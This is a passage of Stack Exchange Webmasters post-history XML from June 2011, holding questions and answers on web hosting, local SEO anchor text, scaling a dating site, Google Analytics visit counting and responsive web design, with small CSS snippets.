  <row Id="36552" PostHistoryTypeId="2" PostId="15464" RevisionGUID="312867be-f63a-4988-8488-abf581bfeede" CreationDate="2011-06-16T23:25:48.970" UserId="1253" Text="This can be done any number of ways. The odds are they have their own dedicated server or a reseller account. Reseller accounts are very inexpensive and can host a decent number of sites. If you can get a couple of paying hosting customers they'll cover the costs of the account for you. Then you can offer free hosting to new customers. After a year they start paying and they cover the cost of the account for the next year's customers, and so on." />
  <row Id="36553" PostHistoryTypeId="2" PostId="15465" RevisionGUID="f674a83c-392b-40eb-bca3-7de71681b458" CreationDate="2011-06-16T23:26:34.883" UserId="8009" Text="It doesn't really matter where they host them.. their own dedicated/a shared plan... anything will suffice. I'd expect most web design agencies will have a hosting plan that supports multiple sites (multiple domains, db's etc..)" />
  <row Id="36554" PostHistoryTypeId="25" PostId="15423" RevisionGUID="49b0f95c-f160-4449-8029-3d3561f453d0" CreationDate="2011-06-17T00:24:22.557" Comment="http://twitter.com/#!/StackWebmasters/status/81517503137841153" />
  <row Id="36555" PostHistoryTypeId="2" PostId="15466" RevisionGUID="d5d6be84-d1bd-4ad8-9738-b6adafef30af" CreationDate="2011-06-17T03:22:54.230" UserId="4625" Text="If I have a business in, say Tampa Florida, and we offer irrigation services, and I want to create some backlinks for a SEO campaign, should I use &quot;Tampa Florida Irrigation Services&quot; as my anchor text? Or should I just use &quot;Irrigation Services&quot; and let Google figure out our location by our Google local directory listing (that I hope would associate with the web site)?.&#xD;&#xA;&#xD;&#xA;&quot;Irrigation Services&quot; here is just a sample keyword. It could be any other one, but in general, would you use the location as part of the anchor text? I really hope not, cause there are just too many ways to express a location." />
  <row Id="36556" PostHistoryTypeId="1" PostId="15466" RevisionGUID="d5d6be84-d1bd-4ad8-9738-b6adafef30af" CreationDate="2011-06-17T03:22:54.230" UserId="4625" Text="Backlink anchor text and Local SEO" />
  <row Id="36557" PostHistoryTypeId="3" PostId="15466" RevisionGUID="d5d6be84-d1bd-4ad8-9738-b6adafef30af" CreationDate="2011-06-17T03:22:54.230" UserId="4625" Text="&lt;seo&gt;&lt;backlinks&gt;&lt;local-seo&gt;&lt;anchor&gt;" />
  <row Id="36558" PostHistoryTypeId="25" PostId="15422" RevisionGUID="2edc3981-b80e-435e-8edd-c85fbc3ab87a" CreationDate="2011-06-17T03:24:22.837" Comment="http://twitter.com/#!/StackWebmasters/status/81562802959024128" />
  <row Id="36559" PostHistoryTypeId="5" PostId="15466" RevisionGUID="6a172b8a-15ec-4858-a47f-c0789edb135c" CreationDate="2011-06-17T03:28:18.153" UserId="4625" Comment="added 7 characters in body" Text="If I have a business in, say Tampa Florida, and we offer irrigation services, and I want to create some backlinks for a SEO campaign, should I use &quot;Tampa Florida Irrigation Services&quot; as my anchor text? Or should I just use &quot;Irrigation Services&quot; and let Google figure out our location by our Google local directory listing (that I hope would associate with the web site)?.&#xD;&#xA;&#xD;&#xA;&quot;Irrigation Services&quot; here is just a sample keyword. It could be any other one, but in general, would you use the location as part of the anchor text? I really hope not, cause there are just too many ways to express the same location." />
  <row Id="36560" PostHistoryTypeId="2" PostId="15467" RevisionGUID="2ebc329d-12f3-4781-938f-269469158c2f" CreationDate="2011-06-17T03:44:32.887" UserId="1253" Text="Unless you're a national company I would recommend focusing on local search. Ranking well for &quot;Irrigation Services&quot; doesn't do you any good if the user is in California. You're definitely out to target a specific geographic location and should concentrate your efforts on that. Geolocation is definitely something has started doing and will be working to improve but you should give them every clue as to where you are located and what area you service. And Google is smart enough to know the various ways to express a location all mean the same thing (Tampa FL, Tampa Florida, etc).&#xD;&#xA;&#xD;&#xA;Additionally, just because you have a couple more keywords in that anchor text doesn't preclude you from ranking well for searches that just use &quot;Irrigation Services&quot; as its anchor text. By having &quot;Irrigation Services&quot; and &quot;Tampa Florida&quot; in your anchor text you give yourself the best chance to rank well for searches that both include &quot;Tampa Florida&quot; in the search term and without it." />
  <row Id="36561" PostHistoryTypeId="5" PostId="15467" RevisionGUID="b465ecc5-e003-49ef-8c73-43d4c487153c" CreationDate="2011-06-17T03:49:36.863" UserId="1253" Comment="deleted 77 characters in body; added 7 characters in body" Text="Ranking well for &quot;Irrigation Services&quot; doesn't do you any good if the user is in California. You're definitely out to target a specific geographic location and should concentrate your efforts on that. Geolocation is definitely something Google has started doing and will be working to improve but you should give them every clue as to where you are located and what area you service. And Google is smart enough to know the various ways to express a location all mean the same thing (Tampa FL, Tampa Florida, etc).&#xD;&#xA;&#xD;&#xA;Additionally, just because you have a couple more keywords in that anchor text doesn't preclude you from ranking well for searches that just use &quot;Irrigation Services&quot; as its anchor text. By having &quot;Irrigation Services&quot; and &quot;Tampa Florida&quot; in your anchor text you give yourself the best chance to rank well for searches that both include &quot;Tampa Florida&quot; in the search term and without it." />
  <row Id="36562" PostHistoryTypeId="2" PostId="15468" RevisionGUID="fa1c290a-aa65-489b-a438-b5024049ef3e" CreationDate="2011-06-17T05:15:44.730" UserId="8364" Text="I want to know what kind of infrastructure is need for a dating website developed in php/mysql.&#xD;&#xA;Consider a website like match.com and eharmony.com with millions of users. Users create their profile, can upload several photos, serach profiles and chat and Emails.&#xD;&#xA;&#xD;&#xA;So what kind of hosting plan is needed for such website?&#xD;&#xA;How much DiskSpace is ideal?&#xD;&#xA;Any limitations with Database?&#xD;&#xA;What kind of Server Configuration?&#xD;&#xA;&#xD;&#xA;What kind of plan/server configuration should I start with initially? say my site is going to be about one-third of match.com&#xD;&#xA;&#xD;&#xA;When should I move to a higher level plan?" />
  <row Id="36563" PostHistoryTypeId="1" PostId="15468" RevisionGUID="fa1c290a-aa65-489b-a438-b5024049ef3e" CreationDate="2011-06-17T05:15:44.730" UserId="8364" Text="What kind of hosting web server / DB / infrastructure is need for high volume dating website?" />
  <row Id="36564" PostHistoryTypeId="3" PostId="15468" RevisionGUID="fa1c290a-aa65-489b-a438-b5024049ef3e" CreationDate="2011-06-17T05:15:44.730" UserId="8364" Text="&lt;web-hosting&gt;&lt;webserver&gt;" />
  <row Id="36565" PostHistoryTypeId="2" PostId="15469" RevisionGUID="db50ed9d-3c91-420e-b2c4-95c8cfd37af9" CreationDate="2011-06-17T05:21:30.040" UserId="8364" Text="You can try http://www.aspspider.com/ which is free.&#xD;&#xA;It is good for trying out small projects." />
  <row Id="36566" PostHistoryTypeId="25" PostId="15466" RevisionGUID="97c3ea2a-8286-4946-80ef-3f5d87177cad" CreationDate="2011-06-17T06:24:22.677" Comment="http://twitter.com/#!/StackWebmasters/status/81608101601619968" />
  <row Id="36567" PostHistoryTypeId="2" PostId="15470" RevisionGUID="5e36c864-4642-4364-83eb-ccfd852b4345" CreationDate="2011-06-17T06:25:51.653" UserId="8366" Text="II have a youtube Iframe in my website, after a week or 2, that youtube iframe over pass and out rank my ranking on google search, I think iframe affect page ranking." />
  <row Id="36568" PostHistoryTypeId="2" PostId="15471" RevisionGUID="9e004e41-bbc5-4ee2-a93a-0b5d4b072eb1" CreationDate="2011-06-17T06:36:48.180" UserId="4461" Text="The current recommended best approach is to use what's been coined &quot;responsive web design&quot; where you need to satisfy various devices and screen size/resolutions with a single approach.&#xD;&#xA;&#xD;&#xA;A great article outlining the hows, whats and whys of responsive web design can be found at http://www.mayfielddigital.co.uk/blog/web-round-up/best-responsive-web-design-examples-and-resources/" />
  <row Id="36569" PostHistoryTypeId="5" PostId="15462" RevisionGUID="3c3c5f77-2c58-4514-afbd-27e4d4085986" CreationDate="2011-06-17T07:00:04.997" UserId="8070" Comment="Corrected sentence." Text="I've read on some blogs that Tumblr blogs have terrible SEO generally, in part because when people reblog your posts, it generates duplicate content on other sites, [which Google doesn't like][1].  According to [*Tumblr’s Biggest Strength is its Biggest Weakness to Google*][2] on Soshable: &#xD;&#xA;&#xD;&#xA;&gt; Somewhere along the lines, Google and&#xD;&#xA;&gt; the other search engines realized that&#xD;&#xA;&gt; it would be not only possible but&#xD;&#xA;&gt; encouraged by Tumblr and other people [to]&#xD;&#xA;&gt; duplicate content and generate&#xD;&#xA;&gt; backlinks. As a result, it takes a lot&#xD;&#xA;&gt; more effort to get the search engines’&#xD;&#xA;&gt; attention for stronger rankings.&#xD;&#xA;&#xD;&#xA;Having Tumblr blogs that have terrible SEO doesn't appear to be unique to you.  You can read about someone else's story on [*Tumblr, SEO, and Why I Moved To WordPress*][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66359&#xD;&#xA;  [2]: http://soshable.com/tumblrs-biggest-strength-is-its-biggest-weakness-to-google/&#xD;&#xA;  [3]: http://danzambonini.com/tumblr-seo-and-why-i-moved-to-wordpress/" />
  <row Id="36570" PostHistoryTypeId="2" PostId="15472" RevisionGUID="7e71130e-9131-4dbe-8b38-8f70309e64df" CreationDate="2011-06-17T07:17:33.190" UserId="8009" Text="I'd use two stylesheets.&#xD;&#xA;&#xD;&#xA;One thats flexible to fit the majority of regular desktop PC users.&#xD;&#xA;&#xD;&#xA;Another for mobile." />
  <row Id="36571" PostHistoryTypeId="17" PostId="15473" RevisionGUID="55e7e398-fa8c-49ce-a308-3f90f9f522ca" CreationDate="2011-06-17T07:40:10.483" UserId="-1" Comment="from http://stackoverflow.com/questions/6374365/problem-with-image-from-html-table-after-slicing-and-exporting-from-photoshop" Text="" />
  <row Id="36572" PostHistoryTypeId="2" PostId="15474" RevisionGUID="d83e4a06-3bb8-45dc-a8bd-3e668e1ca962" CreationDate="2011-06-17T05:51:53.857" UserDisplayName="Ibu" Text="if you are using a table here is what i suggest using&#xD;&#xA;&#xD;&#xA;    table{&#xD;&#xA;       border-collapse:collapse;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;this way you will not see the spaces inside the table." />
  <row Id="36573" PostHistoryTypeId="2" PostId="15473" RevisionGUID="496d4d58-e72a-4534-b467-757ad90c9f58" CreationDate="2011-06-16T15:25:45.740" UserDisplayName="Teodorescu" Text="I made an image in Photoshop, I used Photoshop slice tool:&#xD;&#xA;http://img101.imageshack.us/img101/4051/622ylwr2navqm3wzxf6g.png&#xD;&#xA;&#xD;&#xA;from original image :&#xD;&#xA;http://img718.imageshack.us/img718/6300/grafdetranzitii.jpg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Good. I used &quot;Save for Web&amp;Devices&quot; option to export each slice tools in PNG images and it creates a page, HTML page.&#xD;&#xA;As simple page, the page looks good but when I included in my project, it looks as a fragmented puzzle, look in picture:&#xD;&#xA;http://img42.imageshack.us/img42/5161/l84xh2q30tug2md9iz7.png&#xD;&#xA;&#xD;&#xA;I will paste here the HTML code (with style)&#xD;&#xA;http://pastebin.com/U9p3GT5j&#xD;&#xA;&#xD;&#xA;this code is a part of complex project and my &quot;style.css&quot; external CSS style doesn't affect that table.&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;I want ,where I put the slices (http://img101.imageshack.us/img101/4051/622ylwr2navqm3wzxf6g.png), to place an input text...&#xD;&#xA;&#xD;&#xA;I need help please... what part of css have I to use ?" />
  <row Id="36574" PostHistoryTypeId="1" PostId="15473" RevisionGUID="496d4d58-e72a-4534-b467-757ad90c9f58" CreationDate="2011-06-16T15:25:45.740" UserDisplayName="Teodorescu" Text="Problem with image from HTML table after slicing and exporting from Photoshop" />
  <row Id="36575" PostHistoryTypeId="3" PostId="15473" RevisionGUID="496d4d58-e72a-4534-b467-757ad90c9f58" CreationDate="2011-06-16T15:25:45.740" UserDisplayName="Teodorescu" Text="&lt;html&gt;&lt;table&gt;&lt;photoshop&gt;" />
  <row Id="36576" PostHistoryTypeId="17" PostId="15474" RevisionGUID="07008c92-f32c-4ea1-89c1-3d6ff7847686" CreationDate="2011-06-17T07:40:10.483" UserId="-1" Comment="from http://stackoverflow.com/questions/6374365/problem-with-image-from-html-table-after-slicing-and-exporting-from-photoshop" Text="" />
  <row Id="36577" PostHistoryTypeId="2" PostId="15475" RevisionGUID="19034c7d-d477-4479-a2ab-34945c844da5" CreationDate="2011-06-17T07:54:46.490" UserId="1643" Text="I found this document which describes the architecture of match.com http://www.plentyoffish.com/match.pdf. At one point they had 120 servers. So you're looking at getting 40 servers. You'll want them all to yourself so you need to pay for dedicated hosting, or buy them yourself and rent space in a data centre.&#xD;&#xA;&#xD;&#xA;You need to move to a higher level when your servers are beginning to get overloaded.&#xD;&#xA;&#xD;&#xA;How much disk space - it depends how much data you have. &#xD;&#xA;&#xD;&#xA;Server configuration is something that can't be easily answered in a question like this, but you'll probably want a front end server that passes out requests to other servers. You'll want to separate out the databases from the servers doing scripting and the servers serving up static content.&#xD;&#xA;&#xD;&#xA;To start off though, why not have two servers, one for the database, one for everything else.&#xD;&#xA;&#xD;&#xA;This question isn't quite the same as yours, but has some pointers to useful resources:&#xD;&#xA;http://serverfault.com/questions/84715/nix-cloud-cluster-solutions-for-scalable-web-services&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36578" PostHistoryTypeId="2" PostId="15476" RevisionGUID="6ba6eb62-d1c6-4770-90fa-8639a62aca52" CreationDate="2011-06-17T08:06:50.140" UserId="6643" Text="If someone with the same IP click on our site 10 times or more from the search result page to our site, how would Google Analytics treat this situation?&#xD;&#xA;&#xD;&#xA;Would Google Analytics restrict a user who click on a site with the same IP can be counted for one time in 24 hours or whatever?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="36579" PostHistoryTypeId="1" PostId="15476" RevisionGUID="6ba6eb62-d1c6-4770-90fa-8639a62aca52" CreationDate="2011-06-17T08:06:50.140" UserId="6643" Text="Google Analytics click count" />
  <row Id="36580" PostHistoryTypeId="3" PostId="15476" RevisionGUID="6ba6eb62-d1c6-4770-90fa-8639a62aca52" CreationDate="2011-06-17T08:06:50.140" UserId="6643" Text="&lt;google-analytics&gt;" />
  <row Id="36581" PostHistoryTypeId="2" PostId="15477" RevisionGUID="231c7053-68fa-4e42-b700-be24fffdc1f2" CreationDate="2011-06-17T08:15:04.210" UserId="1643" Text="Google analytics uses cookies to track users, not IP addresses. If those clicks are less than 30 minutes apart it counts as one visit  - http://www.google.com/support/analyticshelp/bin/answer.py?answer=1257084. After 30 minutes it would count as a new visit." />
  <row Id="36582" PostHistoryTypeId="5" PostId="15475" RevisionGUID="cc3f4639-8bc2-4dc3-88b2-8762be4a4850" CreationDate="2011-06-17T08:27:15.363" UserId="1643" Comment="added 2 characters in body" Text="I found this document which describes the architecture of match.com http://www.plentyoffish.com/match.pdf. At one point they had 120 servers. So you're looking at getting 40 servers. You'll want them all to yourself so you need to pay for dedicated hosting, or buy them yourself and rent space in a data centre.&#xD;&#xA;&#xD;&#xA;You need to move to a higher level when your servers are beginning to get overloaded.&#xD;&#xA;&#xD;&#xA;How much disk space - it depends how much data you have. &#xD;&#xA;&#xD;&#xA;Server configuration is something that can't be easily answered in a question like this, but you'll probably want a front end server that passes out requests to other servers. You'll want to separate out the databases from the servers doing scripting and the servers serving up static content.&#xD;&#xA;&#xD;&#xA;To start off though, you could have two servers, one for the database, one for everything else.&#xD;&#xA;&#xD;&#xA;This question isn't quite the same as yours, but has some pointers to useful resources:&#xD;&#xA;http://serverfault.com/questions/84715/nix-cloud-cluster-solutions-for-scalable-web-services&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36583" PostHistoryTypeId="2" PostId="15478" RevisionGUID="fe129ccf-6df6-4874-addd-40af3a811845" CreationDate="2011-06-17T09:02:41.757" UserId="8369" Text="We have outsourced hosting of a large website.&#xD;&#xA;&#xD;&#xA;We have an SLA for response times of random pages. I.e. every minute a random page will be chosen from a pool of 30,000 pages and its response time recorded.&#xD;&#xA;&#xD;&#xA;I know about Monitis, Pingdom, etc., but to my knowledge none of these services allow for the selection of random pages.&#xD;&#xA;&#xD;&#xA;Any ideas? Thanks." />
  <row Id="36584" PostHistoryTypeId="1" PostId="15478" RevisionGUID="fe129ccf-6df6-4874-addd-40af3a811845" CreationDate="2011-06-17T09:02:41.757" UserId="8369" Text="testing random pages for uptime (part of an SLA)" />
  <row Id="36585" PostHistoryTypeId="3" PostId="15478" RevisionGUID="fe129ccf-6df6-4874-addd-40af3a811845" CreationDate="2011-06-17T09:02:41.757" UserId="8369" Text="&lt;web&gt;&lt;performance&gt;&lt;tools&gt;&lt;load-time&gt;" />
  <row Id="36589" PostHistoryTypeId="2" PostId="15480" RevisionGUID="d347a56f-2a40-411e-9203-37610025b08b" CreationDate="2011-06-17T09:18:47.307" UserId="1643" Text="[Selenium][1] is a good tool for automated testing. You'll need to give it a list of random pages. You could construct this by putting a list of all 30,000 pages into an Excel spreadsheet, add another column containing the formulua `=RAND()` and then sorting by that column.&#xD;&#xA;&#xD;&#xA;To measure response times you could use the [Selenium timer extension][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://seleniumhq.org/&#xD;&#xA;  [2]: http://bharath-marrivada.blogspot.com/2010/12/selenium-timer-extension.html" />
  <row Id="36590" PostHistoryTypeId="25" PostId="15401" RevisionGUID="eec390f1-88d3-458b-9a67-fbce3aabb2bc" CreationDate="2011-06-17T09:24:23.127" Comment="http://twitter.com/#!/StackWebmasters/status/81653401817071616" />
  <row Id="36591" PostHistoryTypeId="2" PostId="15481" RevisionGUID="20258403-cc3f-402b-b581-d6188d29bec0" CreationDate="2011-06-17T09:29:57.573" UserId="8263" Text="I recently restructured and resubmitted the sitemap for a website of mine in GWT. The old one was built by a script I acquired, which had its flaws but dit the job. After having implemented URL rewriting, I decided to write my own sitemap generator, in order to have a solution which perfectly fits my requirements and provides much better and accurate info than the old one. &#xD;&#xA;The integration went well, GWT displayed the green tickmark and the correct number of URLs.&#xD;&#xA;Around the time I have submitted the new sitemap however, I noticed a big drop in visits to the site. Is that normal behavior when one makes an important change to a sitemap, or is it pure coincidence and I need to look for the reason for declining visits elsewhere ?" />
  <row Id="36592" PostHistoryTypeId="1" PostId="15481" RevisionGUID="20258403-cc3f-402b-b581-d6188d29bec0" CreationDate="2011-06-17T09:29:57.573" UserId="8263" Text="Can a sitemap change result in a drop of visits?" />
  <row Id="36593" PostHistoryTypeId="3" PostId="15481" RevisionGUID="20258403-cc3f-402b-b581-d6188d29bec0" CreationDate="2011-06-17T09:29:57.573" UserId="8263" Text="&lt;sitemap&gt;&lt;serps&gt;" />
  <row Id="36598" PostHistoryTypeId="2" PostId="15484" RevisionGUID="c2ce5592-0490-4321-a34a-2095655e8889" CreationDate="2011-06-17T11:34:26.483" UserId="7198" Text="In my mind, **responsive design** (also known as 'adaptive' design), where the same web page presents one version of two or more hand-crafted layouts depending on the visitor's browser width, is the best option for most websites. To see why, it helps to look at all of the options available to web designers:&#xD;&#xA;&#xD;&#xA;###Fixed layouts&#xD;&#xA;A fixed page width, where the content width is the same regardless of the browser width, offers a uniform look and feel across devices and can require less coding, thinking, and maintenance than more flexible designs.&#xD;&#xA;&#xD;&#xA;Some feel that fixed-width layouts are relics of a bygone era, where people craved pixel perfection and uniform looks across all browsers. Andy Clarke, author of [Hardboiled Web Design,](http://hardboiledwebdesign.com/) feels that this way of thinking is dead:&#xD;&#xA;&#xD;&#xA;&gt; &quot;In the past it was standard practice&#xD;&#xA;&gt; to fight hard to create a website that&#xD;&#xA;&gt; looked and worked the same across all&#xD;&#xA;&gt; browsers — no matter what their&#xD;&#xA;&gt; capabilities. To do this meant making&#xD;&#xA;&gt; compromises and avoiding using&#xD;&#xA;&gt; technologies not supported by all&#xD;&#xA;&gt; browsers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Is this hardboiled?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Don’t kid yourself, sweet cheeks. This&#xD;&#xA;&gt; isn’t the way to evolve our craft or&#xD;&#xA;&gt; build a better web. This kind of&#xD;&#xA;&gt; old-fashioned thinking holds us back.&#xD;&#xA;&gt; It forces us to make excuses for not&#xD;&#xA;&gt; doing what we know is the right thing.&#xD;&#xA;&gt; The worst that we, as the current&#xD;&#xA;&gt; custodians of the web, can do is to&#xD;&#xA;&gt; allow anything to limit what’s&#xD;&#xA;&gt; possible.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Andy Clarke, *Hardboiled Web Design,* p6 [PDF Edition]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;While some see fixed layouts as the height of laziness, fixed-width designs are still chosen by very smart design teams over fluid or adaptive layouts. [Apple,](http://apple.com) for example, currently serves the same layout to iMacs as it does to iPads and iPhones. Why does the company responsible for bringing mobile web browsing to the masses not optimise its website for mobile devices?&#xD;&#xA;&#xD;&#xA;Because it doesn't think it needs to.&#xD;&#xA;&#xD;&#xA;Instead of adapting its website for small screens, Apple built hardware and software to comfortably handle wide websites on those screens. Apple thinks that a 'mobile optimised' experience is best delivered in a native application, not in a browser window. That's why it offers the *Apple Store* app instead of serving a mobile-optimised Web store. And it's why it encourage publishers to offer magazine apps over tailored websites. Apple's current web design philosophy is clear: one layout to rule them all works fine. For everything else, there's an app for that.&#xD;&#xA;&#xD;&#xA;For this reason alone, some would argue that fixed layouts remain as relevant as ever; they'd say that fluid and adaptive layouts are just stop gaps while we wait for mobile browser software to improve, and HTML and JavaScript to evolve and tempt developers away from siloed app stores.&#xD;&#xA;&#xD;&#xA;In my opinion, though, pinch-tap-drag-zooming your way around the Web for any length of time on a mobile device isn't much fun at all, even on an iPhone. If you believe that the best Web experience is the one that makes reading, publishing, and interacting with websites a pleasure instead of a chore, regardless of the device you're using, you have to concede at some point that serving content tailored to each visitor is worth considering.&#xD;&#xA;&#xD;&#xA;###Fluid layouts&#xD;&#xA;Fluid layouts, where the page's width flows to fill the screen (often up to an imposed maximum width), promise a better experience across different platforms by delivering content at a width more suited to the viewport.&#xD;&#xA;&#xD;&#xA;In practice, fluid layouts cause more problems than they solve, as noted by Cameron Moll in this quip:&#xD;&#xA;&#xD;&#xA;&gt; &quot;...fluid designs solve every layout&#xD;&#xA;&gt; problem much the same as computers&#xD;&#xA;&gt; make offices paperless i.e. they&#xD;&#xA;&gt; don’t.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Cameron Moll, [&quot;Should all sites be fluid?&quot;,](http://www.cameronmoll.com/archives/001224.html) September 2006&#xD;&#xA;&#xD;&#xA;When you adopt a fluid layout, you relinquish control of your design and accept that text will rewrap, images will reflow, line lengths will vary unpredictably, text, images, and navigation elements may crush together at small widths, and columns will jump and float around just to spite you.&#xD;&#xA;&#xD;&#xA;A fluid layout, some might say, is also a lazy option. It is the shotgun approach to adaptive web design. Instead of providing a tailored experience with three or four carefully considered fixed-width designs, you're offering an unpredictable experience in the hope that it might work on big and small screens, and hopefully plug all the gaps that you haven't fully considered in between.&#xD;&#xA;&#xD;&#xA;This doesn't make fluid layouts useless. There are ways to make them work. The [456 Berea St](http://www.456bereastreet.com/) blog, for example, adopts a fluid layout up to a given width, after which it uses a fixed one for anything bigger. And at really small widths, the sidebar drops away to use a single column that makes it easier to read on small screens. But this is no longer a simple fluid layout. It is something better. It is an *adaptive* design.&#xD;&#xA;&#xD;&#xA;###Responsive layouts&#xD;&#xA;A 'responsive' or 'adaptive' layout -- where the same web page presents one version of two or more crafted layouts depending on the visitor's browser width -- is a key part of progressive enhancement, which aims to make a website look the best it can for every visitor.&#xD;&#xA;&#xD;&#xA;Choosing to adopt an adaptive layout is 'excellent customer service', in the words of Aaron Gustafson, the author of [Adaptive Web Design.](http://easy-readers.net/) If we design our sites well, he says, visitors should be presented with a perfectly crafted experience without realising that we're making a fuss of them:&#xD;&#xA;&#xD;&#xA;&gt; &quot;As web designers and developers, we should strive to be as good at our job as that attentive, unobtrusive waiter, but it isn’t a simple task. Just as a waiter has no idea if a customer coming through the door will require frequent refills or few, we have no way of knowing a particular user’s needs when they arrive on our site. Instead, we must rise to meet those needs. If we’re really good, we can do so without our customers even realizing we’re making special considerations for them. Thankfully, with progressive enhancement’s user and content-focused approach (as opposed to graceful degradation’s newest-browser approach), this is easily achievable.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Aaron Gustafson, *Adaptive Web Design,* p12 [PDF edition [available here](http://easy-readers.net/)]&#xD;&#xA;&#xD;&#xA;The realisation that our job as web designers is to adapt to our visitors and not force them to adapt to us -- as Apple might have us believe -- is a fairly recent development in Web design. It is, in my opinion, a renaissance of sorts: we have finished cherry picking the good habits from years of print design. Now we must throw away the shackles imposed by working within a predefined space on the printed page.&#xD;&#xA;&#xD;&#xA;Where once we treated the browser as a fixed canvas, we're now accepting that no defined canvas exists at all, and this is becoming ever more clear from the huge mix of screen sizes you're no doubt starting to see in your visitor stats. Instead of treating each new device as a unique 'page size' to target (and then having to rally troops when a new device comes out) we can follow more future-proof conventions.&#xD;&#xA;&#xD;&#xA;We can think in terms of bands -- 'large', 'medium', and 'small' -- instead of thinking about specific phones and tablets, then design sites to look their best in those bands. Whatever new devices come out, they will fit into one band or another, and -- even if they're right on the border between two bands -- we still have more control over the experience than if we'd used a fixed or fluid layout.&#xD;&#xA;&#xD;&#xA;In [Responsive Web Design,](http://www.abookapart.com/products/responsive-web-design) Ethan Marcotte offers this call to arms:&#xD;&#xA;&#xD;&#xA;&gt; &quot;We need to let go.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Rather than creating disconnected&#xD;&#xA;&gt; designs, each tailored to a particular&#xD;&#xA;&gt; device or browser, we should instead&#xD;&#xA;&gt; treat them as facets of the same&#xD;&#xA;&gt; experience. In other words, we can&#xD;&#xA;&gt; craft sites that are not only more&#xD;&#xA;&gt; flexible, but that can adapt to the&#xD;&#xA;&gt; media that renders them.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In short, we need to practice&#xD;&#xA;&gt; *responsive web design.* We can embrace&#xD;&#xA;&gt; the flexibility inherent to the web,&#xD;&#xA;&gt; without surrendering the control we&#xD;&#xA;&gt; require as designers. All by embedding &#xD;&#xA;&gt; standards-based technologies in&#xD;&#xA;&gt; our work, and by making a slight&#xD;&#xA;&gt; change in our philosophy toward online&#xD;&#xA;&gt; design.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Ethan Marcotte, *Responsive Web Design,* p8 [PDF edition [available here](http://www.abookapart.com/products/responsive-web-design)]&#xD;&#xA;&#xD;&#xA;But what bands do you use? Ethan Marcotte recommends the following three in *Responsive Web Design.* (To learn what they do and understand the caveats, you might like to [grab the book.](http://www.abookapart.com/products/responsive-web-design))&#xD;&#xA;&#xD;&#xA;    @media screen and (max-width: 768px) { &#xD;&#xA;    ...&#xD;&#xA;    } @media screen and (max-width: 520px) {&#xD;&#xA;    ...&#xD;&#xA;    } @media screen and (min-width: 1200px) {&#xD;&#xA;    ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are also a range of CSS frameworks designed to help build adaptive websites, including Joni Korpi's [Less Framework.](http://lessframework.com/)&#xD;&#xA;&#xD;&#xA;In short, when it's done well, adaptive design is a joy to behold and experience both as a web designer and a communal garden web user. Take the site of Japanese firm [Information Architects](http://www.informationarchitects.jp/en/), for example: &#xD;&#xA;&#xD;&#xA;###On an iPhone&#xD;&#xA;&#xD;&#xA;![Information Architects iPhone screenshot][1]&#xD;&#xA;&#xD;&#xA;###On an iPad&#xD;&#xA;[![Information Architects iPad screenshot][2]](http://i.stack.imgur.com/1iYWM.jpg)&#xD;&#xA;&#xD;&#xA;###On an iMac&#xD;&#xA;[![Information Architects iMac screenshot][3]](http://i.stack.imgur.com/AeCfA.jpg)&#xD;&#xA;&#xD;&#xA;Exactly as Aaron Gustafson's predicted, you don't even know you're being catered for until you see the designs on the same page.&#xD;&#xA;&#xD;&#xA;The experience could hardly be more pleasant in each case; you don't have to think about how best to read the content, why it looks strange on your screen, or interact with the page before you can even begin reading, because someone already solved those problems for you. And *that* is why responsive design almost always trumps other options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/lLik8.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/1iYWM.jpg&#xD;&#xA;  [3]: http://i.stack.imgur.com/AeCfA.jpg" />
  <row Id="36599" PostHistoryTypeId="5" PostId="15484" RevisionGUID="22570446-f48d-4dd4-b5e8-5f0d2e2b306b" CreationDate="2011-06-17T11:40:15.327" UserId="7198" Comment="added 50 characters in body; deleted 5 characters in body" Text="In my mind, **responsive design** (also known as 'adaptive' design), where the same web page presents one version of two or more hand-crafted layouts depending on the visitor's browser width, is the best option for most websites. To see why, it helps to look at all of the options available to web designers:&#xD;&#xA;&#xD;&#xA;###Fixed layouts&#xD;&#xA;A fixed page width, where the content width is the same regardless of the browser width, offers a uniform look and feel across devices and can require less coding, thinking, and maintenance than more flexible designs.&#xD;&#xA;&#xD;&#xA;Some feel that fixed-width layouts are relics of a bygone era, where people craved pixel perfection and uniform looks across all browsers. Andy Clarke, author of [Hardboiled Web Design,](http://hardboiledwebdesign.com/) feels that this way of thinking is dead:&#xD;&#xA;&#xD;&#xA;&gt; &quot;In the past it was standard practice&#xD;&#xA;&gt; to fight hard to create a website that&#xD;&#xA;&gt; looked and worked the same across all&#xD;&#xA;&gt; browsers — no matter what their&#xD;&#xA;&gt; capabilities. To do this meant making&#xD;&#xA;&gt; compromises and avoiding using&#xD;&#xA;&gt; technologies not supported by all&#xD;&#xA;&gt; browsers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Is this hardboiled?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Don’t kid yourself, sweet cheeks. This&#xD;&#xA;&gt; isn’t the way to evolve our craft or&#xD;&#xA;&gt; build a better web. This kind of&#xD;&#xA;&gt; old-fashioned thinking holds us back.&#xD;&#xA;&gt; It forces us to make excuses for not&#xD;&#xA;&gt; doing what we know is the right thing.&#xD;&#xA;&gt; The worst that we, as the current&#xD;&#xA;&gt; custodians of the web, 